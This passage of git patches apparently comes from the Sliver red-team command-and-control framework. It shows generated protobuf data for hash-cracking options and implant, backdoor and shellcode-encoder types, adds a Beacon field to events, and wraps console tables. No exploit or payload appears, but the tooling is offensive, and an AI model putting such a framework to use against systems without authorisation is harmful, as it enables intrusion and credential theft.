0x4c, 0x4d, + 0x5f, 0x56, 0x31, 0x10, 0xfc, 0x2a, 0x12, 0x14, 0x0a, 0x0e, 0x4e, 0x45, 0x54, 0x5f, 0x4e, 0x54, + 0x4c, 0x4d, 0x5f, 0x56, 0x31, 0x5f, 0x4e, 0x54, 0x10, 0xf8, 0xd2, 0x01, 0x12, 0x10, 0x0a, 0x0b, + 0x4e, 0x45, 0x54, 0x5f, 0x4e, 0x54, 0x4c, 0x4d, 0x5f, 0x56, 0x32, 0x10, 0xe0, 0x2b, 0x12, 0x14, + 0x0a, 0x0e, 0x4e, 0x45, 0x54, 0x5f, 0x4e, 0x54, 0x4c, 0x4d, 0x5f, 0x56, 0x32, 0x5f, 0x4e, 0x54, + 0x10, 0xdc, 0xd3, 0x01, 0x12, 0x0b, 0x0a, 0x05, 0x46, 0x4c, 0x41, 0x53, 0x4b, 0x10, 0xac, 0xe3, + 0x01, 0x12, 0x0f, 0x0a, 0x0a, 0x49, 0x53, 0x43, 0x53, 0x49, 0x5f, 0x43, 0x48, 0x41, 0x50, 0x10, + 0xc0, 0x25, 0x12, 0x09, 0x0a, 0x04, 0x52, 0x41, 0x43, 0x46, 0x10, 0xb4, 0x42, 0x12, 0x0d, 0x0a, + 0x08, 0x41, 0x49, 0x58, 0x5f, 0x53, 0x4d, 0x44, 0x35, 0x10, 0x9c, 0x31, 0x12, 0x0e, 0x0a, 0x09, + 0x41, 0x49, 0x58, 0x5f, 0x53, 0x53, 0x48, 0x41, 0x31, 0x10, 0xac, 0x34, 0x12, 0x10, 0x0a, 0x0b, + 0x41, 0x49, 0x58, 0x5f, 0x53, 0x53, 0x48, 0x41, 0x32, 0x35, 0x36, 0x10, 0x80, 0x32, 0x12, 0x10, + 0x0a, 0x0b, 0x41, 0x49, 0x58, 0x5f, 0x53, 0x53, 0x48, 0x41, 0x35, 0x31, 0x32, 0x10, 0xe4, 0x32, + 0x12, 0x07, 0x0a, 0x02, 0x4c, 0x4d, 0x10, 0xb8, 0x17, 0x12, 0x0d, 0x0a, 0x07, 0x51, 0x4e, 0x58, + 0x5f, 0x4d, 0x44, 0x35, 0x10, 0xb8, 0x94, 0x01, 0x12, 0x10, 0x0a, 0x0a, 0x51, 0x4e, 0x58, 0x5f, + 0x53, 0x48, 0x41, 0x32, 0x35, 0x36, 0x10, 0x9c, 0x95, 0x01, 0x12, 0x10, 0x0a, 0x0a, 0x51, 0x4e, + 0x58, 0x5f, 0x53, 0x48, 0x41, 0x35, 0x31, 0x32, 0x10, 0x80, 0x96, 0x01, 0x12, 0x19, 0x0a, 0x14, + 0x44, 0x50, 0x41, 0x50, 0x49, 0x5f, 0x56, 0x31, 0x5f, 0x43, 0x54, 0x58, 0x5f, 0x31, 0x5f, 0x41, + 0x4e, 0x44, 0x5f, 0x32, 0x10, 0xc4, 0x77, 0x12, 0x13, 0x0a, 0x0e, 0x44, 0x50, 0x41, 0x50, 0x49, + 0x5f, 0x56, 0x31, 0x5f, 0x43, 0x54, 0x58, 0x5f, 0x33, 0x10, 0xce, 0x77, 0x12, 0x19, 0x0a, 0x14, + 0x44, 0x50, 0x41, 0x50, 0x49, 0x5f, 0x56, 0x32, 0x5f, 0x43, 0x54, 0x58, 0x5f, 0x31, 0x5f, 0x41, + 0x4e, 0x44, 0x5f, 0x32, 0x10, 0x9c, 0x7c, 0x12, 0x13, 0x0a, 0x0e, 0x44, 0x50, 0x41, 0x50, 0x49, + 0x5f, 0x56, 0x32, 0x5f, 0x43, 0x54, 0x58, 0x5f, 0x33, 0x10, 0xa6, 0x7c, 0x12, 0x0b, 0x0a, 0x06, + 0x47, 0x52, 0x55, 0x42, 0x5f, 0x32, 0x10, 0xa0, 0x38, 0x12, 0x12, 0x0a, 0x0d, 0x4d, 0x53, 0x5f, + 0x41, 0x5a, 0x55, 0x52, 0x45, 0x5f, 0x53, 0x59, 0x4e, 0x43, 0x10, 0x80, 0x64, 0x12, 0x0f, 0x0a, + 0x0a, 0x42, 0x53, 0x44, 0x49, 0x5f, 0x43, 0x52, 0x59, 0x50, 0x54, 0x10, 0xf0, 0x60, 0x12, 0x09, + 0x0a, 0x04, 0x4e, 0x54, 0x4c, 0x4d, 0x10, 0xe8, 0x07, 0x12, 0x0c, 0x0a, 0x07, 0x52, 0x41, 0x44, + 0x4d, 0x49, 0x4e, 0x32, 0x10, 0xac, 0x4d, 0x12, 0x14, 0x0a, 0x0f, 0x53, 0x41, 0x4d, 0x53, 0x55, + 0x4e, 0x47, 0x5f, 0x41, 0x4e, 0x44, 0x52, 0x4f, 0x49, 0x44, 0x10, 0xa8, 0x2d, 0x12, 0x17, 0x0a, + 0x11, 0x57, 0x49, 0x4e, 0x44, 0x4f, 0x57, 0x53, 0x5f, 0x48, 0x45, 0x4c, 0x4c, 0x4f, 0x5f, 0x50, + 0x49, 0x4e, 0x10, 0xc4, 0xdb, 0x01, 0x12, 0x12, 0x0a, 0x0d, 0x57, 0x49, 0x4e, 0x44, 0x4f, 0x57, + 0x53, 0x5f, 0x50, 0x48, 0x4f, 0x4e, 0x45, 0x10, 0xe8, 0x6b, 0x12, 0x12, 0x0a, 0x0d, 0x43, 0x49, + 0x53, 0x43, 0x4f, 0x5f, 0x41, 0x53, 0x41, 0x5f, 0x4d, 0x44, 0x35, 0x10, 0xea, 0x12, 0x12, 0x1c, + 0x0a, 0x17, 0x43, 0x49, 0x53, 0x43, 0x4f, 0x5f, 0x49, 0x4f, 0x53, 0x5f, 0x50, 0x42, 0x4b, 0x44, + 0x46, 0x32, 0x5f, 0x53, 0x48, 0x41, 0x32, 0x35, 0x36, 0x10, 0xf0, 0x47, 0x12, 0x15, 0x0a, 0x10, + 0x43, 0x49, 0x53, 0x43, 0x4f, 0x5f, 0x49, 0x4f, 0x53, 0x5f, 0x53, 0x43, 0x52, 0x59, 0x50, 0x54, + 0x10, 0xd4, 0x48, 0x12, 0x12, 0x0a, 0x0d, 0x43, 0x49, 0x53, 0x43, 0x4f, 0x5f, 0x50, 0x49, 0x58, + 0x5f, 0x4d, 0x44, 0x35, 0x10, 0xe0, 0x12, 0x12, 0x1a, 0x0a, 0x15, 0x43, 0x49, 0x54, 0x52, 0x49, + 0x58, 0x5f, 0x4e, 0x45, 0x54, 0x53, 0x43, 0x41, 0x4c, 0x45, 0x52, 0x5f, 0x53, 0x48, 0x41, 0x31, + 0x10, 0xa4, 0x3f, 0x12, 0x1d, 0x0a, 0x17, 0x43, 0x49, 0x54, 0x52, 0x49, 0x58, 0x5f, 0x4e, 0x45, + 0x54, 0x53, 0x43, 0x41, 0x4c, 0x45, 0x52, 0x5f, 0x53, 0x48, 0x41, 0x35, 0x31, 0x32, 0x10, 0xb8, + 0xad, 0x01, 0x12, 0x08, 0x0a, 0x03, 0x44, 0x43, 0x43, 0x10, 0xcc, 0x08, 0x12, 0x09, 0x0a, 0x04, + 0x44, 0x43, 0x43, 0x32, 0x10, 0xb4, 0x10, 0x12, 0x0f, 0x0a, 0x0a, 0x4d, 0x41, 0x43, 0x4f, 0x53, + 0x5f, 0x31, 0x30, 0x5f, 0x38, 0x10, 0xbc, 0x37, 0x12, 0x0c, 0x0a, 0x07, 0x49, 0x4e, 0x56, 0x41, + 0x4c, 0x49, 0x44, 0x10, 0x8f, 0x4e, 0x12, 0x10, 0x0a, 0x0b, 0x42, 0x43, 0x52, 0x59, 0x50, 0x54, + 0x5f, 0x55, 0x4e, 0x49, 0x58, 0x10, 0x80, 0x19, 0x12, 0x16, 0x0a, 0x11, 0x53, 0x48, 0x41, 0x35, + 0x31, 0x32, 0x5f, 0x43, 0x52, 0x59, 0x50, 0x54, 0x5f, 0x55, 0x4e, 0x49, 0x58, 0x10, 0x88, 0x0e, + 0x2a, 0x32, 0x0a, 0x06, 0x53, 0x74, 0x61, 0x74, 0x65, 0x73, 0x12, 0x08, 0x0a, 0x04, 0x49, 0x44, + 0x4c, 0x45, 0x10, 0x00, 0x12, 0x0c, 0x0a, 0x08, 0x43, 0x52, 0x41, 0x43, 0x4b, 0x49, 0x4e, 0x47, + 0x10, 0x01, 0x12, 0x10, 0x0a, 0x0c, 0x49, 0x4e, 0x49, 0x54, 0x49, 0x41, 0x4c, 0x49, 0x5a, 0x49, + 0x4e, 0x47, 0x10, 0x02, 0x2a, 0x3c, 0x0a, 0x0e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x4a, 0x6f, 0x62, + 0x53, 0x74, 0x61, 0x74, 0x75, 0x73, 0x12, 0x0f, 0x0a, 0x0b, 0x49, 0x4e, 0x5f, 0x50, 0x52, 0x4f, + 0x47, 0x52, 0x45, 0x53, 0x53, 0x10, 0x00, 0x12, 0x0d, 0x0a, 0x09, 0x43, 0x4f, 0x4d, 0x50, 0x4c, + 0x45, 0x54, 0x45, 0x44, 0x10, 0x01, 0x12, 0x0a, 0x0a, 0x06, 0x46, 0x41, 0x49, 0x4c, 0x45, 0x44, + 0x10, 0x02, 0x2a, 0x94, 0x01, 0x0a, 0x0f, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x41, 0x74, 0x74, 0x61, + 0x63, 0x6b, 0x4d, 0x6f, 0x64, 0x65, 0x12, 0x0c, 0x0a, 0x08, 0x53, 0x54, 0x52, 0x41, 0x49, 0x47, + 0x48, 0x54, 0x10, 0x00, 0x12, 0x0f, 0x0a, 0x0b, 0x43, 0x4f, 0x4d, 0x42, 0x49, 0x4e, 0x41, 0x54, + 0x49, 0x4f, 0x4e, 0x10, 0x01, 0x12, 0x0e, 0x0a, 0x0a, 0x42, 0x52, 0x55, 0x54, 0x45, 0x46, 0x4f, + 0x52, 0x43, 0x45, 0x10, 0x03, 0x12, 0x18, 0x0a, 0x14, 0x48, 0x59, 0x42, 0x52, 0x49, 0x44, 0x5f, + 0x57, 0x4f, 0x52, 0x44, 0x4c, 0x49, 0x53, 0x54, 0x5f, 0x4d, 0x41, 0x53, 0x4b, 0x10, 0x06, 0x12, + 0x18, 0x0a, 0x14, 0x48, 0x59, 0x42, 0x52, 0x49, 0x44, 0x5f, 0x4d, 0x41, 0x53, 0x4b, 0x5f, 0x57, + 0x4f, 0x52, 0x44, 0x4c, 0x49, 0x53, 0x54, 0x10, 0x07, 0x12, 0x0f, 0x0a, 0x0b, 0x41, 0x53, 0x53, + 0x4f, 0x43, 0x49, 0x41, 0x54, 0x49, 0x4f, 0x4e, 0x10, 0x09, 0x12, 0x0d, 0x0a, 0x09, 0x4e, 0x4f, + 0x5f, 0x41, 0x54, 0x54, 0x41, 0x43, 0x4b, 0x10, 0x0a, 0x2a, 0x44, 0x0a, 0x0d, 0x43, 0x72, 0x61, + 0x63, 0x6b, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x69, 0x6e, 0x67, 0x12, 0x14, 0x0a, 0x10, 0x49, 0x4e, + 0x56, 0x41, 0x4c, 0x49, 0x44, 0x5f, 0x45, 0x4e, 0x43, 0x4f, 0x44, 0x49, 0x4e, 0x47, 0x10, 0x00, + 0x12, 0x0f, 0x0a, 0x0b, 0x49, 0x53, 0x4f, 0x5f, 0x38, 0x38, 0x35, 0x39, 0x5f, 0x31, 0x35, 0x10, + 0x01, 0x12, 0x0c, 0x0a, 0x08, 0x55, 0x54, 0x46, 0x5f, 0x33, 0x32, 0x4c, 0x45, 0x10, 0x02, 0x2a, + 0x90, 0x01, 0x0a, 0x12, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x4f, 0x75, 0x74, 0x66, 0x69, 0x6c, 0x65, + 0x46, 0x6f, 0x72, 0x6d, 0x61, 0x74, 0x12, 0x12, 0x0a, 0x0e, 0x49, 0x4e, 0x56, 0x41, 0x4c, 0x49, + 0x44, 0x5f, 0x46, 0x4f, 0x52, 0x4d, 0x41, 0x54, 0x10, 0x00, 0x12, 0x0d, 0x0a, 0x09, 0x48, 0x41, + 0x53, 0x48, 0x5f, 0x53, 0x41, 0x4c, 0x54, 0x10, 0x01, 0x12, 0x09, 0x0a, 0x05, 0x50, 0x4c, 0x41, + 0x49, 0x4e, 0x10, 0x02, 0x12, 0x0d, 0x0a, 0x09, 0x48, 0x45, 0x58, 0x5f, 0x50, 0x4c, 0x41, 0x49, + 0x4e, 0x10, 0x03, 0x12, 0x0d, 0x0a, 0x09, 0x43, 0x52, 0x41, 0x43, 0x4b, 0x5f, 0x50, 0x4f, 0x53, + 0x10, 0x04, 0x12, 0x16, 0x0a, 0x12, 0x54, 0x49, 0x4d, 0x45, 0x53, 0x54, 0x41, 0x4d, 0x50, 0x5f, + 0x41, 0x42, 0x53, 0x4f, 0x4c, 0x55, 0x54, 0x45, 0x10, 0x05, 0x12, 0x16, 0x0a, 0x12, 0x54, 0x49, + 0x4d, 0x45, 0x53, 0x54, 0x41, 0x4d, 0x50, 0x5f, 0x52, 0x45, 0x4c, 0x41, 0x54, 0x49, 0x56, 0x45, + 0x10, 0x06, 0x2a, 0x63, 0x0a, 0x14, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x57, 0x6f, 0x72, 0x6b, 0x6c, + 0x6f, 0x61, 0x64, 0x50, 0x72, 0x6f, 0x66, 0x69, 0x6c, 0x65, 0x12, 0x1c, 0x0a, 0x18, 0x49, 0x4e, + 0x56, 0x41, 0x4c, 0x49, 0x44, 0x5f, 0x57, 0x4f, 0x52, 0x4b, 0x4c, 0x4f, 0x41, 0x44, 0x5f, 0x50, + 0x52, 0x4f, 0x46, 0x49, 0x4c, 0x45, 0x10, 0x00, 0x12, 0x07, 0x0a, 0x03, 0x4c, 0x4f, 0x57, 0x10, + 0x01, 0x12, 0x0b, 0x0a, 0x07, 0x44, 0x45, 0x46, 0x41, 0x55, 0x4c, 0x54, 0x10, 0x02, 0x12, 0x08, + 0x0a, 0x04, 0x48, 0x49, 0x47, 0x48, 0x10, 0x03, 0x12, 0x0d, 0x0a, 0x09, 0x4e, 0x49, 0x47, 0x48, + 0x54, 0x4d, 0x41, 0x52, 0x45, 0x10, 0x04, 0x2a, 0x4e, 0x0a, 0x0d, 0x43, 0x72, 0x61, 0x63, 0x6b, + 0x46, 0x69, 0x6c, 0x65, 0x54, 0x79, 0x70, 0x65, 0x12, 0x10, 0x0a, 0x0c, 0x49, 0x4e, 0x56, 0x41, + 0x4c, 0x49, 0x44, 0x5f, 0x54, 0x59, 0x50, 0x45, 0x10, 0x00, 0x12, 0x0c, 0x0a, 0x08, 0x57, 0x4f, + 0x52, 0x44, 0x4c, 0x49, 0x53, 0x54, 0x10, 0x01, 0x12, 0x09, 0x0a, 0x05, 0x52, 0x55, 0x4c, 0x45, + 0x53, 0x10, 0x02, 0x12, 0x12, 0x0a, 0x0e, 0x4d, 0x41, 0x52, 0x4b, 0x4f, 0x56, 0x5f, 0x48, 0x43, + 0x53, 0x54, 0x41, 0x54, 0x32, 0x10, 0x03, 0x42, 0x2f, 0x5a, 0x2d, 0x67, 0x69, 0x74, 0x68, 0x75, + 0x62, 0x2e, 0x63, 0x6f, 0x6d, 0x2f, 0x62, 0x69, 0x73, 0x68, 0x6f, 0x70, 0x66, 0x6f, 0x78, 0x2f, + 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x2f, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2f, + 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x62, 0x06, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x33, } var ( @@ -11727,61 +11737,62 @@ var file_clientpb_client_proto_depIdxs = []int32{ 78, // 48: clientpb.PivotGraph.Children:type_name -> clientpb.PivotGraphEntry 82, // 49: clientpb.Client.Operator:type_name -> clientpb.Operator 19, // 50: clientpb.Event.Session:type_name -> clientpb.Session - 45, // 51: clientpb.Event.Job:type_name -> clientpb.Job - 80, // 52: clientpb.Event.Client:type_name -> clientpb.Client - 123, // 53: clientpb.WebsiteAddContent.Contents:type_name -> clientpb.WebsiteAddContent.ContentsEntry - 124, // 54: clientpb.Website.Contents:type_name -> clientpb.Website.ContentsEntry - 86, // 55: clientpb.Websites.Websites:type_name -> clientpb.Website - 2, // 56: clientpb.Loot.FileType:type_name -> clientpb.FileType - 132, // 57: clientpb.Loot.File:type_name -> commonpb.File - 89, // 58: clientpb.AllLoot.Loot:type_name -> clientpb.Loot - 91, // 59: clientpb.Host.IOCs:type_name -> clientpb.IOC - 125, // 60: clientpb.Host.ExtensionData:type_name -> clientpb.Host.ExtensionDataEntry - 93, // 61: clientpb.AllHosts.Hosts:type_name -> clientpb.Host - 130, // 62: clientpb.DllHijackReq.Request:type_name -> commonpb.Request - 131, // 63: clientpb.DllHijack.Response:type_name -> commonpb.Response - 130, // 64: clientpb.BackdoorReq.Request:type_name -> commonpb.Request - 131, // 65: clientpb.Backdoor.Response:type_name -> commonpb.Response - 3, // 66: clientpb.ShellcodeEncodeReq.Encoder:type_name -> clientpb.ShellcodeEncoder - 130, // 67: clientpb.ShellcodeEncodeReq.Request:type_name -> commonpb.Request - 131, // 68: clientpb.ShellcodeEncode.Response:type_name -> commonpb.Response - 126, // 69: clientpb.ShellcodeEncoderMap.Encoders:type_name -> clientpb.ShellcodeEncoderMap.EncodersEntry - 25, // 70: clientpb.ExternalGenerateReq.Config:type_name -> clientpb.ImplantConfig - 104, // 71: clientpb.Builders.Builders:type_name -> clientpb.Builder - 33, // 72: clientpb.Builder.Targets:type_name -> clientpb.CompilerTarget - 34, // 73: clientpb.Builder.CrossCompilers:type_name -> clientpb.CrossCompiler - 4, // 74: clientpb.Credential.HashType:type_name -> clientpb.HashType - 105, // 75: clientpb.Credentials.Credentials:type_name -> clientpb.Credential - 112, // 76: clientpb.Crackstations.Crackstations:type_name -> clientpb.Crackstation - 5, // 77: clientpb.CrackstationStatus.State:type_name -> clientpb.States - 109, // 78: clientpb.CrackstationStatus.Syncing:type_name -> clientpb.CrackSyncStatus - 127, // 79: clientpb.CrackSyncStatus.Progress:type_name -> clientpb.CrackSyncStatus.ProgressEntry - 128, // 80: clientpb.CrackBenchmark.Benchmarks:type_name -> clientpb.CrackBenchmark.BenchmarksEntry - 116, // 81: clientpb.CrackTask.Command:type_name -> clientpb.CrackCommand - 129, // 82: clientpb.Crackstation.Benchmarks:type_name -> clientpb.Crackstation.BenchmarksEntry - 113, // 83: clientpb.Crackstation.CUDA:type_name -> clientpb.CUDABackendInfo - 115, // 84: clientpb.Crackstation.Metal:type_name -> clientpb.MetalBackendInfo - 114, // 85: clientpb.Crackstation.OpenCL:type_name -> clientpb.OpenCLBackendInfo - 7, // 86: clientpb.CrackCommand.AttackMode:type_name -> clientpb.CrackAttackMode - 4, // 87: clientpb.CrackCommand.HashType:type_name -> clientpb.HashType - 9, // 88: clientpb.CrackCommand.OutfileFormat:type_name -> clientpb.CrackOutfileFormat - 8, // 89: clientpb.CrackCommand.EncodingFrom:type_name -> clientpb.CrackEncoding - 8, // 90: clientpb.CrackCommand.EncodingTo:type_name -> clientpb.CrackEncoding - 10, // 91: clientpb.CrackCommand.WorkloadProfile:type_name -> clientpb.CrackWorkloadProfile - 119, // 92: clientpb.CrackFiles.Files:type_name -> clientpb.CrackFile - 11, // 93: clientpb.CrackFile.Type:type_name -> clientpb.CrackFileType - 120, // 94: clientpb.CrackFile.Chunks:type_name -> clientpb.CrackFileChunk - 26, // 95: clientpb.TrafficEncoderMap.EncodersEntry.value:type_name -> clientpb.TrafficEncoder - 25, // 96: clientpb.ImplantBuilds.ConfigsEntry.value:type_name -> clientpb.ImplantConfig - 83, // 97: clientpb.WebsiteAddContent.ContentsEntry.value:type_name -> clientpb.WebContent - 83, // 98: clientpb.Website.ContentsEntry.value:type_name -> clientpb.WebContent - 92, // 99: clientpb.Host.ExtensionDataEntry.value:type_name -> clientpb.ExtensionData - 3, // 100: clientpb.ShellcodeEncoderMap.EncodersEntry.value:type_name -> clientpb.ShellcodeEncoder - 101, // [101:101] is the sub-list for method output_type - 101, // [101:101] is the sub-list for method input_type - 101, // [101:101] is the sub-list for extension type_name - 101, // [101:101] is the sub-list for extension extendee - 0, // [0:101] is the sub-list for field type_name + 20, // 51: clientpb.Event.Beacon:type_name -> clientpb.Beacon + 45, // 52: clientpb.Event.Job:type_name -> clientpb.Job + 80, // 53: clientpb.Event.Client:type_name -> clientpb.Client + 123, // 54: clientpb.WebsiteAddContent.Contents:type_name -> clientpb.WebsiteAddContent.ContentsEntry + 124, // 55: clientpb.Website.Contents:type_name -> clientpb.Website.ContentsEntry + 86, // 56: clientpb.Websites.Websites:type_name -> clientpb.Website + 2, // 57: clientpb.Loot.FileType:type_name -> clientpb.FileType + 132, // 58: clientpb.Loot.File:type_name -> commonpb.File + 89, // 59: clientpb.AllLoot.Loot:type_name -> clientpb.Loot + 91, // 60: clientpb.Host.IOCs:type_name -> clientpb.IOC + 125, // 61: clientpb.Host.ExtensionData:type_name -> clientpb.Host.ExtensionDataEntry + 93, // 62: clientpb.AllHosts.Hosts:type_name -> clientpb.Host + 130, // 63: clientpb.DllHijackReq.Request:type_name -> commonpb.Request + 131, // 64: clientpb.DllHijack.Response:type_name -> commonpb.Response + 130, // 65: clientpb.BackdoorReq.Request:type_name -> commonpb.Request + 131, // 66: clientpb.Backdoor.Response:type_name -> commonpb.Response + 3, // 67: clientpb.ShellcodeEncodeReq.Encoder:type_name -> clientpb.ShellcodeEncoder + 130, // 68: clientpb.ShellcodeEncodeReq.Request:type_name -> commonpb.Request + 131, // 69: clientpb.ShellcodeEncode.Response:type_name -> commonpb.Response + 126, // 70: clientpb.ShellcodeEncoderMap.Encoders:type_name -> clientpb.ShellcodeEncoderMap.EncodersEntry + 25, // 71: clientpb.ExternalGenerateReq.Config:type_name -> clientpb.ImplantConfig + 104, // 72: clientpb.Builders.Builders:type_name -> clientpb.Builder + 33, // 73: clientpb.Builder.Targets:type_name -> clientpb.CompilerTarget + 34, // 74: clientpb.Builder.CrossCompilers:type_name -> clientpb.CrossCompiler + 4, // 75: clientpb.Credential.HashType:type_name -> clientpb.HashType + 105, // 76: clientpb.Credentials.Credentials:type_name -> clientpb.Credential + 112, // 77: clientpb.Crackstations.Crackstations:type_name -> clientpb.Crackstation + 5, // 78: clientpb.CrackstationStatus.State:type_name -> clientpb.States + 109, // 79: clientpb.CrackstationStatus.Syncing:type_name -> clientpb.CrackSyncStatus + 127, // 80: clientpb.CrackSyncStatus.Progress:type_name -> clientpb.CrackSyncStatus.ProgressEntry + 128, // 81: clientpb.CrackBenchmark.Benchmarks:type_name -> clientpb.CrackBenchmark.BenchmarksEntry + 116, // 82: clientpb.CrackTask.Command:type_name -> clientpb.CrackCommand + 129, // 83: clientpb.Crackstation.Benchmarks:type_name -> clientpb.Crackstation.BenchmarksEntry + 113, // 84: clientpb.Crackstation.CUDA:type_name -> clientpb.CUDABackendInfo + 115, // 85: clientpb.Crackstation.Metal:type_name -> clientpb.MetalBackendInfo + 114, // 86: clientpb.Crackstation.OpenCL:type_name -> clientpb.OpenCLBackendInfo + 7, // 87: clientpb.CrackCommand.AttackMode:type_name -> clientpb.CrackAttackMode + 4, // 88: clientpb.CrackCommand.HashType:type_name -> clientpb.HashType + 9, // 89: clientpb.CrackCommand.OutfileFormat:type_name -> clientpb.CrackOutfileFormat + 8, // 90: clientpb.CrackCommand.EncodingFrom:type_name -> clientpb.CrackEncoding + 8, // 91: clientpb.CrackCommand.EncodingTo:type_name -> clientpb.CrackEncoding + 10, // 92: clientpb.CrackCommand.WorkloadProfile:type_name -> clientpb.CrackWorkloadProfile + 119, // 93: clientpb.CrackFiles.Files:type_name -> clientpb.CrackFile + 11, // 94: clientpb.CrackFile.Type:type_name -> clientpb.CrackFileType + 120, // 95: clientpb.CrackFile.Chunks:type_name -> clientpb.CrackFileChunk + 26, // 96: clientpb.TrafficEncoderMap.EncodersEntry.value:type_name -> clientpb.TrafficEncoder + 25, // 97: clientpb.ImplantBuilds.ConfigsEntry.value:type_name -> clientpb.ImplantConfig + 83, // 98: clientpb.WebsiteAddContent.ContentsEntry.value:type_name -> clientpb.WebContent + 83, // 99: clientpb.Website.ContentsEntry.value:type_name -> clientpb.WebContent + 92, // 100: clientpb.Host.ExtensionDataEntry.value:type_name -> clientpb.ExtensionData + 3, // 101: clientpb.ShellcodeEncoderMap.EncodersEntry.value:type_name -> clientpb.ShellcodeEncoder + 102, // [102:102] is the sub-list for method output_type + 102, // [102:102] is the sub-list for method input_type + 102, // [102:102] is the sub-list for extension type_name + 102, // [102:102] is the sub-list for extension extendee + 0, // [0:102] is the sub-list for field type_name } func init() { file_clientpb_client_proto_init() } diff --git a/protobuf/clientpb/client.proto b/protobuf/clientpb/client.proto index ade611358c..6c8aab90dd 100644 --- a/protobuf/clientpb/client.proto +++ b/protobuf/clientpb/client.proto @@ -563,11 +563,12 @@ message Client { message Event { string EventType = 1; Session Session = 2; - Job Job = 3; - Client Client = 4; - bytes Data = 5; + Beacon Beacon = 3; + Job Job = 4; + Client Client = 5; + bytes Data = 6; - string Err = 6; // Can't trigger normal gRPC error + string Err = 7; // Can't trigger normal gRPC error } message Operator { diff --git a/server/rpc/rpc-beacons.go b/server/rpc/rpc-beacons.go index b841592313..d99ea3242d 100644 --- a/server/rpc/rpc-beacons.go +++ b/server/rpc/rpc-beacons.go @@ -21,8 +21,12 @@ package rpc import ( "context" + "google.golang.org/protobuf/proto" + + consts "github.com/bishopfox/sliver/client/constants" "github.com/bishopfox/sliver/protobuf/clientpb" "github.com/bishopfox/sliver/protobuf/commonpb" + "github.com/bishopfox/sliver/server/core" "github.com/bishopfox/sliver/server/db" "github.com/bishopfox/sliver/server/db/models" "github.com/bishopfox/sliver/server/log" @@ -129,5 +133,21 @@ func (rpc *Server) CancelBeaconTask(ctx context.Context, req *clientpb.BeaconTas if err != nil { return nil, ErrInvalidBeaconTaskID } + + // Some client might be currently blocking for the canceled + // task result, so tell them about it so they can exit. + beacon, err := db.BeaconByID(task.BeaconID.String()) + if err != nil { + return task.ToProtobuf(false), ErrInvalidBeaconID + } + + eventData, _ := proto.Marshal(task.ToProtobuf(false)) + + core.EventBroker.Publish(core.Event{ + EventType: consts.BeaconTaskCanceledEvent, + Data: eventData, + Beacon: beacon, + }) + return task.ToProtobuf(false), nil } diff --git a/server/rpc/rpc-events.go b/server/rpc/rpc-events.go index 4d24840a69..5dcaa5382e 100644 --- a/server/rpc/rpc-events.go +++ b/server/rpc/rpc-events.go @@ -40,6 +40,9 @@ func (rpc *Server) Events(_ *commonpb.Empty, stream rpcpb.SliverRPC_EventsServer if event.Client != nil { pbEvent.Client = event.Client.ToProtobuf() } + if event.Beacon != nil { + pbEvent.Beacon = event.Beacon.ToProtobuf() + } if event.Session != nil { pbEvent.Session = event.Session.ToProtobuf() } From c4dd65146a3bf471e2b5068cb9aec32c93761ea1 Mon Sep 17 00:00:00 2001 From: maxlandon Date: Fri, 18 Aug 2023 23:07:34 +0200 Subject: [PATCH 102/124] Better wrapping for all tables --- client/command/alias/alias.go | 1 + client/command/armory/armory.go | 2 ++ client/command/builders/builders.go | 1 + client/command/crack/crack-files.go | 4 ++++ client/command/crack/crack.go | 1 + client/command/creds/creds.go | 1 + client/command/cursed/cursed.go | 1 + client/command/extensions/extensions.go | 1 + client/command/generate/canaries.go | 1 + client/command/generate/implants.go | 1 + client/command/generate/profiles.go | 1 + client/command/generate/traffic-encoders.go | 2 ++ client/command/hosts/hosts-ioc.go | 2 ++ client/command/hosts/hosts.go | 1 + client/command/jobs/jobs.go | 1 + client/command/loot/loot.go | 1 + client/command/network/ifconfig.go | 1 + client/command/network/netstat.go | 1 + client/command/pivots/details.go | 1 + client/command/pivots/pivots.go | 1 + client/command/portfwd/portfwd.go | 1 + client/command/processes/ps.go | 1 + client/command/reaction/reaction.go | 1 + client/command/rportfwd/portfwd.go | 1 + client/command/sessions/sessions.go | 1 + client/command/settings/settings.go | 1 + client/command/socks/socks.go | 1 + client/command/tasks/tasks.go | 1 + client/command/websites/websites.go | 1 + client/command/wireguard/wg-portfwd.go | 1 + client/command/wireguard/wg-socks.go | 1 + client/console/history.go | 6 +++++- 32 files changed, 42 insertions(+), 1 deletion(-) diff --git a/client/command/alias/alias.go b/client/command/alias/alias.go index 1e8382aaf9..3d6d27955d 100644 --- a/client/command/alias/alias.go +++ b/client/command/alias/alias.go @@ -49,6 +49,7 @@ func AliasesCmd(cmd *cobra.Command, con *console.SliverClient, args []string) er func PrintAliases(con *console.SliverClient) { tw := table.NewWriter() tw.SetStyle(settings.GetTableStyle(con)) + settings.SetMaxTableSize(tw) tw.AppendHeader(table.Row{ "Name", "Command Name", diff --git a/client/command/armory/armory.go b/client/command/armory/armory.go index 0c3bee396c..1306e738b3 100644 --- a/client/command/armory/armory.go +++ b/client/command/armory/armory.go @@ -220,6 +220,7 @@ func PrintArmoryPackages(aliases []*alias.AliasManifest, exts []*extensions.Exte tw := table.NewWriter() tw.SetStyle(settings.GetTableStyle(con)) tw.SetTitle(console.Bold + "Packages" + console.Normal) + settings.SetMaxTableSize(tw) urlMargin := 150 // Extra margin needed to show URL column @@ -306,6 +307,7 @@ func PrintArmoryBundles(bundles []*ArmoryBundle, con *console.SliverClient) { tw := table.NewWriter() tw.SetStyle(settings.GetTableStyle(con)) tw.SetTitle(console.Bold + "Bundles" + console.Normal) + settings.SetMaxTableSize(tw) tw.AppendHeader(table.Row{ "Name", "Contains", diff --git a/client/command/builders/builders.go b/client/command/builders/builders.go index 7da2b003b1..d12ebf248b 100644 --- a/client/command/builders/builders.go +++ b/client/command/builders/builders.go @@ -49,6 +49,7 @@ func BuildersCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { func PrintBuilders(externalBuilders []*clientpb.Builder, con *console.SliverClient) { tw := table.NewWriter() tw.SetStyle(settings.GetTableStyle(con)) + settings.SetMaxTableSize(tw) 